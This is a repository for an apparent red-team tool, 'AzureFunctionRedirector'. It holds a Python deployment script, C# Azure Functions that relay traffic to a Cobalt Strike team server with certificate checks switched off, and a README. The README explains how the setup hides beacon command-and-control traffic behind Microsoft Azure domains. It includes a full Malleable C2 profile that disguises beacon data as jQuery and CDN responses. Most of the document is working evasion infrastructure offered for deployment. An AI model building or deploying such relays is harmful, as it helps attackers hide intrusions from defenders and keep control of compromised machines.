├── AzFunctionDeployment.py ├── MyApp.cs └── README.md /AzFunctionDeployment.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import subprocess 3 | import sys 4 | import os 5 | import shutil 6 | import zipfile 7 | import json 8 | 9 | try: 10 | from colorama import init 11 | init(autoreset=True) 12 | except ImportError: 13 | pass 14 | 15 | # ANSI color codes 16 | GREEN = "\033[92m" 17 | YELLOW = "\033[93m" 18 | BLUE = "\033[94m" 19 | RED = "\033[91m" 20 | RESET = "\033[0m" 21 | 22 | def run_command(command, cwd=None): 23 | cmd_str = " ".join(command) 24 | print(f"{BLUE}Running command: {cmd_str}{RESET}") 25 | result = subprocess.run(cmd_str, cwd=cwd, shell=True) 26 | if result.returncode != 0: 27 | print(f"{RED}Command failed: {cmd_str}{RESET}") 28 | sys.exit(result.returncode) 29 | 30 | def zip_directory(folder_path, output_zip): 31 | print(f"{BLUE}Zipping directory {folder_path} to {output_zip}{RESET}") 32 | with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as zipf: 33 | for root, dirs, files in os.walk(folder_path): 34 | for file in files: 35 | file_path = os.path.join(root, file) 36 | relative_path = os.path.relpath(file_path, folder_path) 37 | zipf.write(file_path, arcname=relative_path) 38 | print(f"{GREEN}Zipping complete.{RESET}") 39 | 40 | def update_function_json_authlevel(publish_dir): 41 | print(f"{BLUE}Searching for function.json files in {publish_dir}{RESET}") 42 | for root, dirs, files in os.walk(publish_dir): 43 | if "function.json" in files: 44 | function_json_path = os.path.join(root, "function.json") 45 | print(f"{YELLOW}Found function.json at: {function_json_path}{RESET}") 46 | try: 47 | with open(function_json_path, "r") as f: 48 | func_data = json.load(f) 49 | bool_updated = False 50 | if "bindings" in func_data: 51 | for binding in func_data["bindings"]: 52 | if binding.get("type", "").lower() == "httptrigger" and binding.get("authLevel", "").lower() != "anonymous": 53 | print(f"{BLUE}Updating authLevel to anonymous for binding: {binding}{RESET}") 54 | binding["authLevel"] = "anonymous" 55 | bool_updated = True 56 | if bool_updated: 57 | with open(function_json_path, "w") as f: 58 | json.dump(func_data, f, indent=2) 59 | print(f"{GREEN}Updated function.json authLevel to anonymous.{RESET}") 60 | else: 61 | print(f"{YELLOW}No update needed in function.json (authLevel already anonymous).{RESET}") 62 | except Exception as e: 63 | print(f"{RED}Error updating function.json at {function_json_path}: {e}{RESET}") 64 | sys.exit(1) 65 | 66 | def banner(): 67 | print(r''' 68 | _._ 69 | :. 70 | : : 71 | : . 72 | .: : 73 | : : . 74 | : : : 75 | . : . 76 | : : : 77 | : : . 78 | . : : 79 | : : . 80 | : : : 81 | .=w=w=w=w=: . 82 | :=w=w=w=w=w=w=. .... 83 | <---._______:U~~~~~~~~\_________.:---/ 84 | \ ____===================____/ 85 | .,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,. 86 | "^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~" 87 | "~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^" 88 | ''') 89 | 90 | def copy_directory(source_dir, destination_dir, exclude_dirs=None): 91 | if exclude_dirs is None: 92 | exclude_dirs = [] 93 | for root, dirs, files in os.walk(source_dir): 94 | rel_path = os.path.relpath(root, source_dir) 95 | if any(ex in rel_path.split(os.sep) for ex in exclude_dirs): 96 | continue 97 | dest_root = os.path.join(destination_dir, rel_path) if rel_path != "." else destination_dir 98 | os.makedirs(dest_root, exist_ok=True) 99 | dirs[:] = [d for d in dirs if d not in exclude_dirs] 100 | for file in files: 101 | src_file = os.path.join(root, file) 102 | dest_file = os.path.join(dest_root, file) 103 | print(f"{BLUE}Copying file from {src_file} to {dest_file}{RESET}") 104 | shutil.copy2(src_file, dest_file) 105 | 106 | def main(): 107 | parser = argparse.ArgumentParser( 108 | description="Deploy a Windows C# Azure Function project." 109 | ) 110 | parser.add_argument("--project-name", type=str, required=True, 111 | help="Name for the Azure Functions project (e.g., MyFunctionApp)") 112 | parser.add_argument("--function-name", type=str, required=True, 113 | help="Name for the new function (e.g., ForwardRequestFunction)") 114 | parser.add_argument("--functioncode", type=str, required=True, 115 | help="Path to the C# function code file") 116 | parser.add_argument("--resource-group", type=str, required=True, 117 | help="Azure Resource Group name (will be created if it doesn't exist)") 118 | parser.add_argument("--location", type=str, required=True, 119 | help="Azure location for all resources (e.g., westus, eastus)") 120 | parser.add_argument("--functionapp", type=str, required=True, 121 | help="Name of the Azure Function App (deployment target)") 122 | parser.add_argument("--storage-account", type=str, required=True, 123 | help="Name of the Azure Storage Account (globally unique)") 124 | parser.add_argument("--newprefix", type=str, required=True, 125 | help="New HTTP route prefix to use in host.json (e.g., 'wkl')") 126 | parser.add_argument("--base-dir", type=str, default=".", 127 | help="Directory in which to create the project (default: current directory)") 128 | args = parser.parse_args() 129 | 130 | banner() 131 | 132 | # Check for required executables. 133 | for tool in ["az", "func"]: 134 | if not shutil.which(tool): 135 | print(f"{RED}Error: '{tool}' command not found. Please install and ensure it's in your PATH.{RESET}") 136 | sys.exit(1) 137 | if not shutil.which("dotnet"): 138 | print(f"{RED}Error: 'dotnet' command not found. Please install and ensure it's in your PATH.{RESET}") 139 | sys.exit(1) 140 | 141 | base_dir = os.path.abspath(args.base_dir) 142 | project_dir = os.path.join(base_dir, args.project_name) 143 | print(f"{BLUE}Project directory: {project_dir}{RESET}") 144 | 145 | # Project Initialization 146 | if not os.path.exists(project_dir): 147 | run_command(["func", "init", args.project_name, "--worker-runtime", "dotnet"], cwd=base_dir) 148 | else: 149 | print(f"{YELLOW}Project directory already exists; assuming it's already initialized.{RESET}") 150 | 151 | os.chdir(project_dir) 152 | 153 | # Create New Function 154 | function_file = os.path.join(project_dir, f"{args.function_name}.cs") 155 | if not os.path.exists(function_file): 156 | run_command(["func", "new", "--name", args.function_name, "--template", "\"HTTP trigger\"", "--authlevel", "anonymous"], cwd=project_dir) 157 | else: 158 | print(f"{YELLOW}Function file {function_file} already exists; it will be overwritten with your provided code.{RESET}") 159 | if not os.path.exists(args.functioncode): 160 | print(f"{RED}Error: The specified function code file does not exist: {args.functioncode}{RESET}") 161 | sys.exit(1) 162 | print(f"{BLUE}Copying file from {args.functioncode} to {function_file}{RESET}") 163 | shutil.copy2(args.functioncode, function_file) 164 | 165 | # Update host.json with new route prefix. 166 | host_json_path = os.path.join(project_dir, "host.json") 167 | host_data = {} 168 | if os.path.exists(host_json_path): 169 | try: 170 | host_data = json.loads(open(host_json_path, "r").read()) 171 | except Exception as e: 172 | print(f"{RED}Error reading host.json: {e}{RESET}") 173 | sys.exit(1) 174 | else: 175 | host_data = {"version": "2.0"} 176 | if "extensions" not in host_data: 177 | host_data["extensions"] = {} 178 | if "http" not in host_data["extensions"] or host_data["extensions"]["http"] is None: 179 | host_data["extensions"]["http"] = {} 180 | host_data["extensions"]["http"]["routePrefix"] = args.newprefix 181 | try: 182 | with open(host_json_path, "w") as f: 183 | json.dump(host_data, f, indent=2) 184 | print(f"{GREEN}Updated host.json with routePrefix: {args.newprefix}{RESET}") 185 | except Exception as e: 186 | print(f"{RED}Error writing host.json: {e}{RESET}") 187 | sys.exit(1) 188 | 189 | # Build/Publish: C# project 190 | publish_dir = os.path.join(project_dir, "publish") 191 | run_command(["dotnet", "restore"], cwd=project_dir) 192 | run_command(["dotnet", "publish", "--configuration", "Release", "--output", "publish"], cwd=project_dir) 193 | zip_output = os.path.join(project_dir, "functionapp.zip") 194 | zip_directory(publish_dir, zip_output) 195 | 196 | # Azure Resource Creation and Deployment 197 | run_command(["az", "group", "create", "--name", args.resource_group, "--location", args.location]) 198 | run_command(["az", "storage", "account", "create", "--name", args.storage_account, "--location", args.location, 199 | "--resource-group", args.resource_group, "--sku", "Standard_LRS"]) 200 | run_command([ 201 | "az", "functionapp", "create", 202 | "--resource-group", args.resource_group, 203 | "--consumption-plan-location", args.location, 204 | "--runtime", "dotnet", 205 | "--functions-version", "4", 206 | "--name", args.functionapp, 207 | "--storage-account", args.storage_account 208 | ], cwd=project_dir) 209 | run_command(["az", "functionapp", "deployment", "source", "config-zip", 210 | "--resource-group", args.resource_group, 211 | "--name", args.functionapp, 212 | "--src", zip_output], cwd=project_dir) 213 | 214 | print(f"{GREEN}Function deployment completed successfully.{RESET}") 215 | 216 | if __name__ == "__main__": 217 | main() 218 | -------------------------------------------------------------------------------- /MyApp.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net.Http; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Mvc; 6 | using Microsoft.AspNetCore.Http; 7 | using Microsoft.Azure.WebJobs; 8 | using Microsoft.Azure.WebJobs.Extensions.Http; 9 | using Microsoft.Extensions.Primitives; 10 | using Newtonsoft.Json; // Use this!!! This is important!!!!! 11 | 12 | namespace MyFunctionApp 13 | { 14 | public static class ForwardFunctions 15 | { 16 | // GET function: handles GET requests to /contact. 17 | // https://secretfunction.azurewebsites.net/dmc/contact 18 | [FunctionName("ContactFunction")] 19 | public static async Task ContactFunction( 20 | [HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = "contact")] HttpRequest req) 21 | { 22 | string baseUrl = "https://"; 23 | // Forward GET requests to the team server's GET endpoint. 24 | string targetUrl = $"{baseUrl}/dmc/contact"; 25 | if (req.QueryString.HasValue) 26 | { 27 | targetUrl += req.QueryString.Value; 28 | } 29 | 30 | HttpClientHandler handler = new HttpClientHandler() 31 | { 32 | ServerCertificateCustomValidationCallback = (sender, cert, chain, sslPolicyErrors) => true 33 | }; 34 | 35 | using (HttpClient client = new HttpClient(handler)) 36 | { 37 | HttpResponseMessage response = await client.GetAsync(targetUrl); 38 | string responseBody = await response.Content.ReadAsStringAsync(); 39 | 40 | // Process the response using Newtonsoft.Json if it is valid JSON. 41 | try 42 | { 43 | var jsonObj = JsonConvert.DeserializeObject(responseBody); 44 | responseBody = JsonConvert.SerializeObject(jsonObj, Formatting.None); 45 | } 46 | catch { /* If not valid JSON, return as-is */ } 47 | 48 | return new OkObjectResult(responseBody); 49 | } 50 | } 51 | 52 | // POST function: handles POST requests to /resource. 53 | // https://secretfunction.azurewebsites.net/dmc/resource 54 | [FunctionName("ResourceFunction")] 55 | public static async Task ResourceFunction( 56 | [HttpTrigger(AuthorizationLevel.Anonymous, "post", Route = "resource")] HttpRequest req) 57 | { 58 | string baseUrl = "https://"; 59 | // Forward POST requests to the team server's POST endpoint. 60 | string targetUrl = $"{baseUrl}/dmc/resource"; 61 | 62 | string requestBody = await new StreamReader(req.Body).ReadToEndAsync(); 63 | 64 | // Process the request body using Newtonsoft.Json (if valid JSON). 65 | string jsonContent; 66 | try 67 | { 68 | var data = JsonConvert.DeserializeObject(requestBody); 69 | jsonContent = JsonConvert.SerializeObject(data, Formatting.None); 70 | } 71 | catch 72 | { 73 | jsonContent = requestBody; // if invalid JSON, use original body. 74 | } 75 | 76 | HttpClientHandler handler = new HttpClientHandler() 77 | { 78 | ServerCertificateCustomValidationCallback = (sender, cert, chain, sslPolicyErrors) => true 79 | }; 80 | 81 | using (HttpClient client = new HttpClient(handler)) 82 | { 83 | HttpRequestMessage forwardRequest = new HttpRequestMessage(HttpMethod.Post, targetUrl) 84 | { 85 | Content = new StringContent(jsonContent, System.Text.Encoding.UTF8, "application/json") 86 | }; 87 | 88 | // Forward all headers except "Host". 89 | foreach (var header in req.Headers) 90 | { 91 | if (!header.Key.Equals("Host", StringComparison.OrdinalIgnoreCase)) 92 | { 93 | forwardRequest.Headers.TryAddWithoutValidation(header.Key, header.Value.ToArray()); 94 | } 95 | } 96 | 97 | HttpResponseMessage response = await client.SendAsync(forwardRequest); 98 | string responseBody = await response.Content.ReadAsStringAsync(); 99 | 100 | // Process the response using Newtonsoft.Json if it is valid JSON. 101 | try 102 | { 103 | var responseData = JsonConvert.DeserializeObject(responseBody); 104 | responseBody = JsonConvert.SerializeObject(responseData, Formatting.None); 105 | } 106 | catch { /* If not valid JSON, return as-is */ } 107 | 108 | return new OkObjectResult(responseBody); 109 | } 110 | } 111 | } 112 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AzureFunctionRedirector 2 | 3 | ## Why? 4 | 5 | Azure functions have been well known for relaying our malicious traffic through microsoft azure websites, with some blogs and tools demonstrating it's capabilities. 6 | 7 | https://0xdarkvortex.dev/c2-infra-on-azure/ 8 | 9 | https://github.com/Flangvik/AzureC2Relay 10 | 11 | https://posts.redteamtacticsacademy.com/azure-app-services-the-redirect-rollercoaster-you-didnt-know-you-needed-fa66bfa12bf8 12 | 13 | I was exploring ways to relay our beacon traffic through Azure, inspired by the 'A Thousand Sails, One Harbor' blog post by @NinjaParanoid. While the post is excellent, it primarily demonstrates the technique using Brute Ratel, the C2 provided by Dark Vortex. The real challenge was replicating this manually, so I relied on various tools and made source code modifications as needed before compiling and deploying to Azure. 14 | 15 | When looking at some of the older posts I tried to replicate these techniques using Cobalt Strike but I encountered issues, some functions where build in Node JS, Python and C#, I took the latter since I am more comfortable with this language and I already started following the NinjaParanoid guide. 16 | 17 | I found some great help when trying to replicate it on Cobalt Strike using the [FunctionalC2](https://web.archive.org/web/20241203083420/https://fortynorthsecurity.com/blog/azure-functions-functional-redirection/) blog. I noticed that in the Functions needed a prefix value in the URL so these were created: 18 | 19 | modifypath 20 | 21 | 22 | After testing this I needed to build 2 functions each hanlding their respective URIs. 23 | 24 | GET URL: 25 | 26 | ![image](https://github.com/user-attachments/assets/8c90f72d-1e4d-43fe-bf52-920bcda25434) 27 | 28 | 29 | POST URL: 30 | 31 | ![image](https://github.com/user-attachments/assets/51606325-aa50-4228-a047-35007eaf4836) 32 | 33 | 34 | ## The C2 Profiles 35 | The Malleable C2 profile was the tricky part. When forwarding traffic through Azure, Azure performs its own 'magic' and scrambles the profile data sent to Cobalt Strike often stripping out critical elements like the `BeaconID`, which I learned the hard way. However, Azure doesn’t modify anything in the URL, which allows us to embed our ID using the `parameter` value in the GET request. We can also place it in the headers by using the `header` value in the POST request within the metadata blocks of our profile. 36 | 37 | ![image](https://github.com/user-attachments/assets/93ff6d14-c7a3-49ac-8707-5249ed1b1071) 38 | 39 | 40 | Now in the perfect setup our Profile should have a format as follows: 41 | 42 | ``` 43 | ################################################ 44 | ## HTTP GET 45 | ################################################ 46 | http-get { 47 | set verb "GET"; 48 | set uri "/dmc/contact"; 49 | 50 | client { 51 | header "Device-Type" "desktop"; 52 | header "XSS-Protection" "0"; 53 | metadata { 54 | 55 | base64url; 56 | parameter "HDDC"; 57 | 58 | 59 | } 60 | } 61 | server { 62 | output { 63 | #mask; 64 | base64url; 65 | prepend "HD_DC=origin; path=/"; 66 | append " secure, akacd_usbeta=3920475583~rv=59~id=79b199d0c6ec26db101b6646ef322ec1; path=/; Secure; SameSite=None, bm_ss=ab8e18ef4e"; 67 | print; 68 | } 69 | header "Expect-CT" "max-age=0"; 70 | header "Accept-Ranges" "bytes"; 71 | header "X-TM-ZONE" "us-east4-c"; 72 | header "Strict-Transport-Security" "max-age=63072000; includeSubDomains"; 73 | header "X-Permitted-Cross-Domain-Policies" "none"; 74 | header "X-Download-Options" "noopen"; 75 | } 76 | } 77 | 78 | ################################################ 79 | ## HTTP POST 80 | ################################################ 81 | http-post { 82 | 83 | set uri "/dmc/resource"; 84 | set verb "POST"; 85 | 86 | client { 87 | 88 | header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; 89 | header "Accept-Encoding" "gzip, deflate"; 90 | 91 | id { 92 | #mask; 93 | base64url; 94 | header "cfduid"; 95 | } 96 | 97 | output { 98 | #mask; 99 | base64url; 100 | print; 101 | } 102 | } 103 | 104 | server { 105 | 106 | header "Server" "NetDNA-cache/2.2"; 107 | header "Cache-Control" "max-age=0, no-cache"; 108 | header "Pragma" "no-cache"; 109 | header "Connection" "keep-alive"; 110 | header "Content-Type" "application/javascript; charset=utf-8"; 111 | 112 | output { 113 | #mask; 114 | base64url; 115 | ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) 116 | # 2nd Line 117 | prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; 121 | print; 122 | } 123 | } 124 | } 125 | ``` 126 | 127 | Now our C# file has some important sections that we should change before running the script and compiling but the most important parts are here: 128 | 129 | GET: 130 | ```csharp 131 | [FunctionName("ContactFunction")] 132 | public static async Task ContactFunction( 133 | [HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = "contact")] HttpRequest req) 134 | { 135 | string baseUrl = "https://"; 136 | // Forward GET requests to the team server's GET endpoint. 137 | string targetUrl = $"{baseUrl}/dmc/contact"; 138 | 139 | ``` 140 | 141 | POST: 142 | ```csharp 143 | [FunctionName("ResourceFunction")] 144 | public static async Task ResourceFunction( 145 | [HttpTrigger(AuthorizationLevel.Anonymous, "post", Route = "resource")] HttpRequest req) 146 | { 147 | string baseUrl = "https://"; 148 | // Forward POST requests to the team server's POST endpoint. 149 | string targetUrl = $"{baseUrl}/dmc/resource"; 150 | ``` 151 | 152 | ## AzureFunctionsRelaySetup 153 | 154 | Azure needs 3rd party tools to execute correctly, and create the necessary resources to build a function and they are 2 only: 155 | 156 | ``` 157 | AZ CLI tools 158 | Azure Functions Core Tools 159 | ``` 160 | 161 | With these installed we can run our Python whcih the help menu explains the necessary values for this to work properly: 162 | ``` 163 | python .\AzFuntionDeployment.py --help 164 | usage: AzFuntionDeployment.py [-h] --project-name PROJECT_NAME --function-name FUNCTION_NAME --functioncode FUNCTIONCODE --resource-group RESOURCE_GROUP --location LOCATION 165 | --functionapp FUNCTIONAPP --storage-account STORAGE_ACCOUNT --newprefix NEWPREFIX [--base-dir BASE_DIR] 166 | 167 | Deploy a Windows C# Azure Function project. 168 | 169 | options: 170 | -h, --help show this help message and exit 171 | --project-name PROJECT_NAME 172 | Name for the Azure Functions project (e.g., MyFunctionApp) 173 | --function-name FUNCTION_NAME 174 | Name for the new function (e.g., ForwardRequestFunction) 175 | --functioncode FUNCTIONCODE 176 | Path to the C# function code file 177 | --resource-group RESOURCE_GROUP 178 | Azure Resource Group name (will be created if it doesn't exist) 179 | --location LOCATION Azure location for all resources (e.g., westus, eastus) 180 | --functionapp FUNCTIONAPP 181 | Name of the Azure Function App (deployment target) 182 | --storage-account STORAGE_ACCOUNT 183 | Name of the Azure Storage Account (globally unique) 184 | --newprefix NEWPREFIX 185 | New HTTP route prefix to use in host.json (e.g., 'wkl') 186 | --base-dir BASE_DIR Directory in which to create the project (default: current directory) 187 | ``` 188 | 189 | A full command looks as follows, the script holds high level DEBUG information to dive a little deep on what erros are going on and where: 190 | ``` 191 | python .\AzFunctionDeployment.py --project-name csharpfunctionapp --function-name csharpfunctionapp --functioncode C:\RedTeam\AzureFunctionsRelaySetup\functionapp\MyApp.cs --resource-group DMCRedirectorGroup --location westus --functionapp csharpDMCApp --storage-account csharpdmcstorageacct --newprefix dmc --base-dir C:\RedTeam\AzureFunctionsRelaySetup\functionapp 192 | 193 | _._ 194 | :. 195 | : : 196 | : . 197 | .: : 198 | : : . 199 | : : : 200 | . : . 201 | : : : 202 | : : . 203 | . : : 204 | : : . 205 | : : : 206 | .=w=w=w=w=: . 207 | :=w=w=w=w=w=w=. .... 208 | <---._______:U~~~~~~~~\_________.:---/ 209 | \ ____===================____/ 210 | .,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,. 211 | "^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~" 212 | "~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^"~-,.,-~"^" 213 | 214 | Project directory: C:\RedTeam\AzureFunctionsRelaySetup\functionapp\csharpfunctionapp 215 | Running command: func init csharpfunctionapp --worker-runtime dotnet 216 | 217 | Writing C:\RedTeam\AzureFunctionsRelaySetup\functionapp\csharpfunctionapp\.vscode\extensions.json 218 | Running command: func new --name csharpfunctionapp --template "HTTP trigger" --authlevel anonymous 219 | Template: HTTP trigger 220 | Function name: csharpfunctionapp 221 | ``` 222 | 223 | With no errors and a successful creation, we can proceed to set this into our Cobalt Strike listener. 224 | 225 | ![image](https://github.com/user-attachments/assets/2f84a931-c4d7-4b09-bd1f-d7a32d8ec556) 226 | 227 | Next, we build our beacon and should receive a callback with our commands being executed and output correctly 228 | 229 | ![image](https://github.com/user-attachments/assets/f902ad18-c75b-4e70-a6f2-beae0919caae) 230 | 231 | 232 | 233 | --------------------------------------------------------------------------------